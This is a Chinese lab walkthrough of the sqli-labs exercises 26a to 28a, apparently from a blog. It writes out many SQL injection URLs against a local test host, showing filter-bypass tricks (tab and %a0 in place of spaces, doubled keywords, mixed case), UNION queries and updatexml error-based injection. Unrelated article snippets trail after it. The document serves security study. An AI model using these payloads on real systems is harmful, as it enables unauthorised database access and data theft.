http://192.168.1.104/sql/Less-26a/?id=1'%a0anandd%a01=1%a0anandd%a0'1'='1
//服务器返回页面错误（预期正确），尝试使用（"）代替（'）进行构造；、
http://192.168.1.104/sql/Less-26a/?id=1"%a0anandd%a01=1%a0anandd%a0"1"="1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1"%a0anandd%a01=2%a0anandd%a0"1"="1
//服务器返回页面正确（预期错误），尝试使用（)）代替（"）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1)%a0anandd%a01=1%a0anandd%a0(1)=(1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1)%a0anandd%a01=2%a0anandd%a0(1)=(1
//服务器返回页面正确（预期错误），尝试使用（]）代替（)）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1]%a0anandd%a01=1%a0anandd%a0[1]=[1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1]%a0anandd%a01=2%a0anandd%a0[1]=[1
//服务器返回页面正确（预期错误），尝试使用（}）代替（]）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1}%a0anandd%a01=1%a0anandd%a0{1}={1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1}%a0anandd%a01=2%a0anandd%a0{1}={1
//服务器返回页面正确（预期错误），尝试使用（''）代替（}）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1''%a0anandd%a01=1%a0anandd%a0''1''=''1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1''%a0anandd%a01=2%a0anandd%a0''1''=''1
//服务器返回页面正确（预期错误），尝试使用（'"）代替（'"）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1'"%a0anandd%a01=1%a0anandd%a0"'1'"="'1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1'"%a0anandd%a01=2%a0anandd%a0"'1'"="'1
//服务器返回页面正确（预期错误），尝试使用（'"）代替（'"）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1')%a0anandd%a01=1%a0anandd%a0('1')=('1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1')%a0anandd%a01=2%a0anandd%a0('1')=('1
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（')）；
//也可以考虑使用圆括号绕过空格过滤；
http://192.168.1.104/sql/Less-26a/?id=1')anandd(1=1)anandd('1')=('1
//服务器返回页面正确（预期正确），尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-26a/?id=1')anandd(1=2)anandd('1')=('1
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（')）；

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-26a/?id=1')^&%a0anandd%a01=1%a0anandd%a0'1'='1
//服务器返回页面错误（预期错误），但不存在报错提示；

通过对参数（id）进行测试，判断出该参数存在注入，闭合字符为（’)），且后台过滤了（and,or,–,#,/*,/,空格），可以分别用（anandd，oorr，and(‘1’)=('1，%a0/圆括号）进行替换绕过过滤，同时服务器返回页面存在回显，可以使用UNION联合查询的方式来获取数据库信息，使用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样，至此，SqliLab-26a结束；

2.7. SqliLab-27（union，select，–，#，/*，/，空格，过滤绕过（单引号闭合））

2.7.1. 初始页面

2.7.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），并发现，初始页面显示，可能（union和select）都不能使用，但是先进行注入点的判断；
判断是否存在后台对特殊字符进行了过滤
EG：

http://192.168.1.104/sql/Less-27/?id=1 and 1=1 --+
//服务器返回页面正确，同时发现空格和（--）都被过滤了，尝试使用（%09/圆括号），和（and(1)=1）进行替换构造；
http://192.168.1.104/sql/Less-27/?id=1%09and(1=1)and%091=1
//服务器返回页面正确，发现被过滤的字符都出现了,再对（/*），（/）进行尝试；
...

由于后台对（–,#,/*,/,空格）进行了过滤，使用能绕过的字符进行替换，然后再构造payload判断参数（id）是否存在注入；
EG：

http://192.168.1.104/sql/Less-27/?id=1%09and(1=1)and%091=1
//服务器返回页面正确（预期正确），尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-27/?id=1%09and(1=2)and%091=1
//服务器返回页面正确（预期错误），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-27/?id=1'and(1=1)and'1'='1
//服务器返回页面正确（预期正确），尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-27/?id=1'and(1=2)and'1'='1
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（'）；

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-27/?id=1'")and(1=1)and'1'='1
//服务器返回页面错误（预期错误），存在报错提示；
http://192.168.1.104/sql/Less-27/?id=1'%^)and(1=1)and'1'='1 
//服务器返回页面错误（预期错误），存在报错提示；

经过对参数（id）测试，发现参数（id）存在注入，闭合字符为（’），同时后台过滤了（–，#，/*，/，空格），可以使用（and’1’='1，圆括号/%09）替换绕过，同时发现服务器返回页面存在回显和SQL语句报错提示，可以考虑使用UNION联合查询和报错注入的方式来获取数据库信息，采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样，采用报错注入的方法的具体流程同SqliLab-25采用的报错注入的方法一样，只是要注意一下要用合适的替换字符进行绕过，好像没有经过UNION和SELECT的绕过尝试，下面进行测试；

2.7.3. 使用UNION联合查询获取数据库信息

EG：

http://192.168.1.104/sql/Less-27/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//判断出字段数为（3）,使用union联合查询获取信息；
http://192.168.1.104/sql/Less-27/?id=0'union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//服务器返回页面错误，发现union和select消失，尝试使用（ununionion）和（selselectect）进行替换构造；
http://192.168.1.104/sql/Less-27/?id=0'ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//服务器返回页面错误，发现select消失，尝试使用（SeLeCt）进行替换构造；
http://192.168.1.104/sql/Less-27/?id=0'ununionion%09SeLeCt(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//服务器返回页面正确，发现显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

2.7.4. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-27/?id=1'and(updatexml(1,concat('|',database(),'|',version(),'|',user(),'|'),1))and'1'='1
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

经过测试，得知，使用联合查询时，需要注意使用（ununionion）替换（union），使用（SELECT）替换（select）,同时空格考虑使用（圆括号和%09）替换，使用报错注入则考虑空格使用（圆括号和%09替换，获取其他信息的方法如上面示例的一样，至此，SqliLab-27结束；

2.8. SqliLab-27a（union，select，–，#，/*，/，空格，过滤绕过（双引号闭合））

2.8.1. 初始页面

2.8.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），并发现，初始页面显示，可能（union和select）都不能使用，但是先进行注入点的判断；
EG：
判断是否存在后台对特殊字符进行了过滤

http://192.168.1.104/sql/Less-27a/?id=1 and 1=1--+
//服务器返回页面正确，发现构造语句中的空格和（--）都消失了（被过滤了），尝试使用（%09/圆括号）和（#）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1#
//服务器返回页面正确，发现构造语句中的空格出现了，但是（#）消失了（被过滤了），尝试使用（%23）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%23
//服务器返回页面正确，发现构造语句中的（%23）消失了（被过滤了），尝试使用（and%091=1）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//服务器返回页面正确，发现构造语句成功闭合，再判断(or)是否被过滤；
http://192.168.1.104/sql/Less-27a/?id=1%09or%091=2%09and%091=1
//服务器返回页面正确，发现构造语句中的(or)未消失，即未被过滤，再判断（/*，/）是否被过滤；
http://192.168.1.104/sql/Less-27a/?id=1/'or/**/1=2%09and%091=1
//服务器返回页面正确，发现构造语句中的（/）和（/*）都消失了（被过滤了）;

由于后台对（–,#,/*,/,空格）进行了过滤，使用能绕过的字符进行替换，然后再构造payload判断参数（id）是否存在注入；
EG：

http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//服务器返回正确（预期错误），尝试使用（'）替换（）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1'%09and%091=1%09and%09'1'='1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1'%09and%091=2%09and%09'1'='1
//服务器返回正确（预期错误），尝试使用（"）替换（'）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1"%09and%091=1%09and%09"1"="1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1"%09and%091=2%09and%09"1"="1
//服务器返回错误（预期错误），判断参数（id）存在注入，闭合字符为（"）;

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-27a/?id=1"))^%09and%091=1%09and%09"1"="1
//服务器返回页面错误，但无报错提示，尝试使用（""^%)）代替（"))^）进行构造；
http://192.168.1.104/sql/Less-27a/?id=1""^%)09and%091=1%09and%09"1"="1
//服务器返回页面错误，但无报错提示；
...
//经过过测试，发现，服务器返回页面不存在SQL语句报错提示；

经过对参数（id）测试，发现参数（id）存在注入，闭合字符为（"），同时后台过滤了（–，#，/*，/，空格），可以使用（and"1"="1，圆括号/%09）替换绕过，同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息，采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样，只是要注意一下要用合适的替换字符进行绕过，进行UNION联合查询时，先要判断UNION和SELECT是否被过滤，下面进行测试；

2.8.3. 使用UNION联合查询获取数据库信息

EG：

http://192.168.1.104/sql/Less-27a/?id=1"%09order%09by%091,2,3,4,5%09and"1"="1
//服务器返回页面错误，判断出字段数为（3）,使用union联合查询获取信息；
http://192.168.1.104/sql/Less-27a/?id=0"union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//服务器返回页面错误，发现union和select消失，尝试使用（ununionion）和（selselectect）进行替换构造；
http://192.168.1.104/sql/Less-27a/?id=0"ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//服务器返回页面错误，发现select消失，尝试使用（SeLeCt）进行替换构造；
http://192.168.1.104/sql/Less-27a/?id=0"ununionion%09SeLeCt(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//服务器返回页面正确，发现显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

经过测试，得知，使用联合查询时，需要注意使用（ununionion）替换（union），使用（SELECT）替换（select）,同时空格考虑使用（圆括号和%09）替换，获取其他信息的方法如上面示例的一样，至此，SqliLab-27a结束；

2.9. SqliLab-28（（union select），–，#，/*，/，空格，过滤绕过（’)闭合））

2.9.1. 初始页面

2.9.2. 判断注入点（关键步骤）

http://192.168.1.104/sql/Less-28/?id=1 and 1=1--+
//服务器返回页面正确，发现构造语句中的空格和（--）都消失了（被过滤了），尝试使用（%09/圆括号）和（#）进行构造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1#
//服务器返回页面正确，发现构造语句中的空格出现了，但是（#）消失了（被过滤了），尝试使用（%23）进行构造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%23
//服务器返回页面正确，发现构造语句中的（%23）消失了（被过滤了），尝试使用（and%091=1）进行构造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//服务器返回页面正确，发现构造语句成功闭合，再判断(or)是否被过滤；
http://192.168.1.104/sql/Less-28/?id=1%09or%091=2%09and%091=1
//服务器返回页面正确，发现构造语句中的(or)未消失，即未被过滤，再判断（/*，/）是否被过滤；
http://192.168.1.104/sql/Less-28/?id=1/'or/**/1=2%09and%091=1
//服务器返回页面正确，发现构造语句中的（/）和（/*）都消失了（被过滤了）;

由于后台对（–,#,/*,/,空格）进行了过滤，使用能绕过的字符进行替换，然后再构造payload判断参数（id）是否存在注入；
EG：

http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//服务器返回正确（预期错误），尝试使用（'）替换（）进行构造；
http://192.168.1.104/sql/Less-28/?id=1'%09and%091=1%09and%09'1'='1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1'%09and%091=2%09and%09'1'='1
//服务器返回错误（预期错误），判断参数（id）存在注入，闭合字符为（"），再次尝试使用（"）替换（'）进行构造；
http://192.168.1.104/sql/Less-28/?id=1"%09and%091=1%09and%09"1"="1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1"%09and%091=2%09and%09"1"="1
//服务器返回正确（预期错误），尝试使用（)）替换（"）进行构造；
http://192.168.1.104/sql/Less-28/?id=1)%09and%091=1%09and%09(1)=(1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1)%09and%091=2%09and%09(1)=(1
//服务器返回正确（预期错误），尝试使用（]）替换（)）进行构造；
http://192.168.1.104/sql/Less-28/?id=1]%09and%091=1%09and%09[1]=[1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1]%09and%091=2%09and%09[1]=[1
//服务器返回正确（预期错误），尝试使用（}）替换（]）进行构造；
http://192.168.1.104/sql/Less-28/?id=1}%09and%091=1%09and%09{1}={1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1}%09and%091=2%09and%09{1}={1
//服务器返回正确（预期错误），尝试使用（''）替换（}）进行构造；
http://192.168.1.104/sql/Less-28/?id=1''%09and%091=1%09and%09''1''=''1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1''%09and%091=2%09and%09''1''=''1
//服务器返回正确（预期错误），尝试使用（'"）替换（''）进行构造；
http://192.168.1.104/sql/Less-28/?id=1'"%09and%091=1%09and%09"'1'"="'1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1'"%09and%091=2%09and%09"'1'"="'1
//服务器返回正确（预期错误），尝试使用（')）替换（')）进行构造；
http://192.168.1.104/sql/Less-28/?id=1')%09and%091=1%09and%09('1')=('1
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28/?id=1')%09and%091=2%09and%09('1')=('1
//服务器返回错误（预期错误），判断参数（id）存在注入，闭合字符为（')）;

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-28/?id=1"))^%09and%091=1%09and%09"1"="1
//服务器返回页面错误，但无报错提示，尝试使用（""^%)）代替（"))^）进行构造；
http://192.168.1.104/sql/Less-28/?id=1""^%)09and%091=1%09and%09"1"="1
//服务器返回页面错误，但无报错提示；
...
//经过测试，发现服务器返回页面不存在SQL语句报错提示；

经过对参数（id）测试，发现参数（id）存在注入，闭合字符为（‘或’)）(后面可以通过假设是正确的闭合字符进行测试，出现预期之外的结果的闭合字符则不是正确的闭合字符)，同时后台过滤了（–，#，/*，/，空格），可以使用（and’1’='1或者and(‘1’)=('1，圆括号/%09）替换绕过，同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息，采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样，只是要注意一下要用合适的替换字符进行绕过，进行UNION联合查询时，先要判断UNION和SELECT是否被过滤，下面进行测试；

2.9.3. 使用UNION联合查询获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-28/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//服务器返回页面错误，再次尝试；
http://192.168.1.104/sql/Less-28/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//服务器返回页面错误，再次尝试；
...
http://192.168.1.104/sql/Less-28/?id=1')%09order%09by%091,2,3,4,4%09and('1')=('1
//服务器返回页面正确，再次尝试；
http://192.168.1.104/sql/Less-28/?id=1')%09order%09by%091,2,3,4,5%09and('1')=('1
//服务器返回页面错误，判断出字段数为（3）,同时参数（id）的闭合字符为（')）,使用union联合查询获取信息；
http://192.168.1.104/sql/Less-28/?id=0')union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//服务器返回页面错误，发现union和select消失，尝试使用（ununionion）和（selselectect）进行替换构造；
http://192.168.1.104/sql/Less-28/?id=0')ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//服务器返回页面错误，发现（ununionion）和（selselectect）未被过滤，尝试使用（unionunion%09select%09select）进行替换构造（过滤掉（union select），剩下的（union）和 （ select）重新组合成（union select））；
http://192.168.1.104/sql/Less-28/?id=0')unionunion%09select%09select(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//服务器返回页面正确，发现显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

经过测试，得知，使用联合查询时，需要注意使用（unionunion%09select%09select）替换（union%09select）,同时空格考虑使用（圆括号和%09）替换，获取其他信息的方法如上面示例的一样，至此，SqliLab-28结束；

2.10. SqliLab-28a（（union select），过滤绕过（’)闭合））

2.10.1. 初始页面

2.10.2. 判断注入点（关键步骤）

http://192.168.1.104/sql/Less-28a/?id=1 and 1=1 --+
//服务器返回页面正确，发现构造语句中的空格和and以及（--）并未消失（被过滤了），再判断（/*，or,/）是否被过滤；
http://192.168.1.104/sql/Less-28a/?id=1/' or /**/ 1=1 --+
//服务器返回页面错误，发现构造语句中的（/）和（/*）以及（or）都未消失（被过滤了）;

由于后台对（–,#,/*,/,空格）未进行过滤，所以直接构造payload判断参数（id）是否存在注入；
EG：

http://192.168.1.104/sql/Less-28a/?id=1 and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1 and 1=2 --+
//服务器返回正确（预期错误），尝试使用（'）替换（）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1' and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1' and 1=2 --+
//服务器返回正确（预期错误），尝试使用（"）替换（'）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1" and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1" and 1=2 --+
//服务器返回正确（预期错误），尝试使用（)）替换（"）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1) and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1) and 1=2 --+
//服务器返回正确（预期错误），尝试使用（]）替换（)）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1] and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1] and 1=2 --+
//服务器返回正确（预期错误），尝试使用（}）替换（]）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1} and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1} and 1=2 --+
//服务器返回正确（预期错误），尝试使用（''）替换（}）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1'' and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1'' and 1=2 --+
//服务器返回正确（预期错误），尝试使用（'"）替换（''）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1'" and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1'" and 1=2 --+
//服务器返回正确（预期错误），尝试使用（')）替换（')）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1') and 1=1 --+
//服务器返回正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1') and 1=2 --+
//服务器返回错误（预期错误），判断参数（id）存在注入，闭合字符为（')）;

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-28a/?id=1'")) and 1=1 --+
//服务器返回页面错误，但无报错提示，尝试使用（""^%)^）代替（'"))）进行构造；
http://192.168.1.104/sql/Less-28a/?id=1""^%)^ and 1=1 --+
//服务器返回页面正确，但无报错提示；
...
//经过测试，发现服务器返回页面不存在SQL语句报错提示；

经过对参数（id）测试，发现参数（id）存在注入，闭合字符为（’)），同时后台未过滤（–，#，/*，/，空格），同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息，采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样，只是要注意一下在进行UNION联合查询时，先要判断UNION和SELECT是否被过滤，下面进行测试；

2.10.3. 使用UNION联合查询获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-28a/?id=1') order by 1,2,3--+
//服务器返回页面正确，再次尝试；
http://192.168.1.104/sql/Less-28a/?id=1') order by 1,2,3,4--+
//服务器返回页面错误，判断出字段数为（3）使用union联合查询获取信息；
http://192.168.1.104/sql/Less-28a/?id=0')union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//服务器返回页面错误，发现union和select消失，尝试使用（ununionion）和（selselectect）进行替换构造；
http://192.168.1.104/sql/Less-28a/?id=0')ununionion selselectect 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//服务器返回页面错误，发现（ununionion）和（selselectect）未被过滤，尝试使用（unionunion select select）进行替换构造（过滤掉（union select），剩下的（union）和 （ select）重新组合成（union select））；
http://192.168.1.104/sql/Less-28a/?id=0')unionunion select select(1),concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//服务器返回页面正确，发现显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

经过测试，得知，使用联合查询时，需要注意使用（unionunion select select）替换（union select）,获取其他信息的方法如上面示例的一样，至此，SqliLab-28a结束；

3. 总结

对于存在过滤的绕过注入的一般流程是先判断后台对哪些字符进行了过滤了，然后再使用相应的策略去替换被过滤的字符，达到绕过的目的，然后就是使用被替换后的字符构造的payload去判断参数是否存在注入，最后根据对注入点判断的结果，采取合适的注入方式获取数据库信息（需要注意的是对于某些特殊字符的替换，针对不同的过滤，要灵活的变通）；对于二次注入，则需要利用所给的条件（SQL语句正确执行导致的错误（注入语句未被过滤）），向数据库注入payload，然后在，再次注入新的payload时，调用存储在数据库的payload，达到注入获取数据库信息的目的。

[如有错误，请指出，拜托了<( _ _ )> ！！！]

你可能感兴趣的:(#,MYSQL注入学习)

情绪觉察日记第37天露露_e800
今天是家庭关系规划师的第二阶最后一天，慧萍老师帮我做了个案，帮我处理了埋在心底好多年的一份恐惧，并给了我深深的力量！这几天出来学习，爸妈过来婆家帮我带小孩，妈妈出于爱帮我收拾东西，并跟我先生和婆婆产生矛盾，妈妈觉得他们没有照顾好我…。今晚回家见到妈妈，我很欣赏她并赞扬她，妈妈说今晚要跟我睡我说好，当我们俩躺在床上准备睡觉的时候，我握着妈妈的手对她说:妈妈这几天辛苦你了，你看你多利害把我们的家收拾得
机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习 python
一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
铭刻于星（四十二）随风至
69夜晚，绍敏同学做完功课后，看了眼房外，没听到动静才敢从书包的夹层里拿出那个心形纸团。折痕压得很深，都有些旧了，想来是已经写好很久了。绍敏同学慢慢地、轻轻地捏开折叠处，待到全部拆开后，又反复抚平纸张，然后仔细地一字字默看。只是开头的三个字是第一次看到，让她心漏跳了几拍。“亲爱的绍敏：从四年级的时候，我就喜欢你了，但是我一直不敢说，怕影响你学习。六年级的时候听说有人跟你表白，你接受了，我很难过，但
UI学习——cell的复用和自定义cell Magnetic_h ui 学习
目录cell的复用手动（非注册）自动（注册）自定义cellcell的复用在iOS开发中，单元格复用是一种提高表格（UITableView）和集合视图（UICollectionView）滚动性能的技术。当一个UITableViewCell或UICollectionViewCell首次需要显示时，如果没有可复用的单元格，则视图会创建一个新的单元格。一旦这个单元格滚动出屏幕，它就不会被销毁。相反，它被添
学点心理知识，呵护孩子健康静候花开_7090
昨天听了华中师范大学教育管理学系副教授张玲老师的《哪里才是学生心理健康的最后庇护所，超越教育与技术的思考》的讲座。今天又重新学习了一遍，收获匪浅。张玲博士也注意到了当今社会上的孩子由于心理问题导致的自残、自杀及伤害他人等恶性事件。她向我们普及了一个重要的命题，她说心理健康的一些基本命题，我们与我们通常的一些教育命题是不同的，她还举了几个例子，让我们明白我们原来以为的健康并非心理学上的健康。比如如果
Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断尐尐呅
结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌（Mycobacteriumtuberculosis,Mtb）感染引起，获得性免疫缺陷综合症（艾滋病）由人免疫缺陷病毒（Humanimmunodeficiencyvirustype1,HIV-1）感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队，共同研究得出单细胞测序
mysql禁用远程登录 igotyback mysql
去mysql库中的user表里，将host都改成localhost之后刷新权限FLUSHPRIVILEGES;
ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值）研学随笔 arcgis 经验分享
我们在使用ArcGIS时通常经常用到栅格计算器，今天主要给大家介绍我日常中经常用到的几个公式，供大家参考学习。将特定值（-9999）赋值为0，例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值（如0）Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值，其他保留原值SetNull("raster"==
【一起学Rust | 设计模式】习惯语法——使用借用类型作为参数、格式化拼接字符串、构造函数广龙宇一起学Rust #Rust设计模式 rust 设计模式开发语言
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、使用借用类型作为参数二、格式化拼接字符串三、使用构造函数总结前言Rust不是传统的面向对象编程语言，它的所有特性，使其独一无二。因此，学习特定于Rust的设计模式是必要的。本系列文章为作者学习《Rust设计模式》的学习笔记以及自己的见解。因此，本系列文章的结构也与此书的结构相同（后续可能会调成结构），基本上分为三个部分
回溯 Leetcode 332 重新安排行程 mmaerd Leetcode刷题学习记录 leetcode 算法职场和发展
重新安排行程Leetcode332学习记录自代码随想录给你一份航线列表tickets，其中tickets[i]=[fromi,toi]表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。所有这些机票都属于一个从JFK（肯尼迪国际机场）出发的先生，所以该行程必须从JFK开始。如果存在多种有效的行程，请你按字典排序返回最小的行程组合。例如，行程[“JFK”,“LGA”]与[“JFK”,“LGB
Python数据分析与可视化实战指南 William数据分析 python python 数据
在数据驱动的时代，Python因其简洁的语法、强大的库生态系统以及活跃的社区，成为了数据分析与可视化的首选语言。本文将通过一个详细的案例，带领大家学习如何使用Python进行数据分析，并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前，我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学
2019-12-22-22:30 涓涓1016
今天是冬至，写下我的日更，是因为这两天的学习真的是能量的满满，让我看到了自己，未来另外一种可能性，也让我看到了这两年这几年的过程中我所接受那些痛苦的来源。一切的根源和痛苦都来自于人生，家庭，而你的原生家庭，你的爸爸和妈妈，是因为你这个灵魂在那一刻选择他们作为你的爸爸和妈妈来的，所以你得接受他，你得接纳他，他就是因为他的存在而给你的学习和成长带来这些痛苦，那其实是你必然要经历的这个过程，当你去接纳的
将cmd中命令输出保存为txt文本文件落难Coder Windows cmd window
最近深度学习本地的训练中我们常常要在命令行中运行自己的代码，无可厚非，我们有必要保存我们的炼丹结果，但是复制命令行输出到txt是非常麻烦的，其实Windows下的命令行为我们提供了相应的操作。其基本的调用格式就是：运行指令>输出到的文件名称或者具体保存路径测试下，我打开cmd并且ping一下百度：pingwww.baidu.com>./data.txt看下相同目录下data.txt的输出：如果你再
四章-32-点要素的聚合彩云飘过
本文基于腾讯课堂老胡的课《跟我学Openlayers--基础实例详解》做的学习笔记，使用的openlayers5.3.xapi。源码见1032.html，对应的官网示例https://openlayers.org/en/latest/examples/cluster.htmlhttps://openlayers.org/en/latest/examples/earthquake-clusters.
GitHub上克隆项目 bigbig猩猩 github
从GitHub上克隆项目是一个简单且直接的过程，它允许你将远程仓库中的项目复制到你的本地计算机上，以便进行进一步的开发、测试或学习。以下是一个详细的步骤指南，帮助你从GitHub上克隆项目。一、准备工作1.安装Git在克隆GitHub项目之前，你需要在你的计算机上安装Git工具。Git是一个开源的分布式版本控制系统，用于跟踪和管理代码变更。你可以从Git的官方网站（https://git-scm.
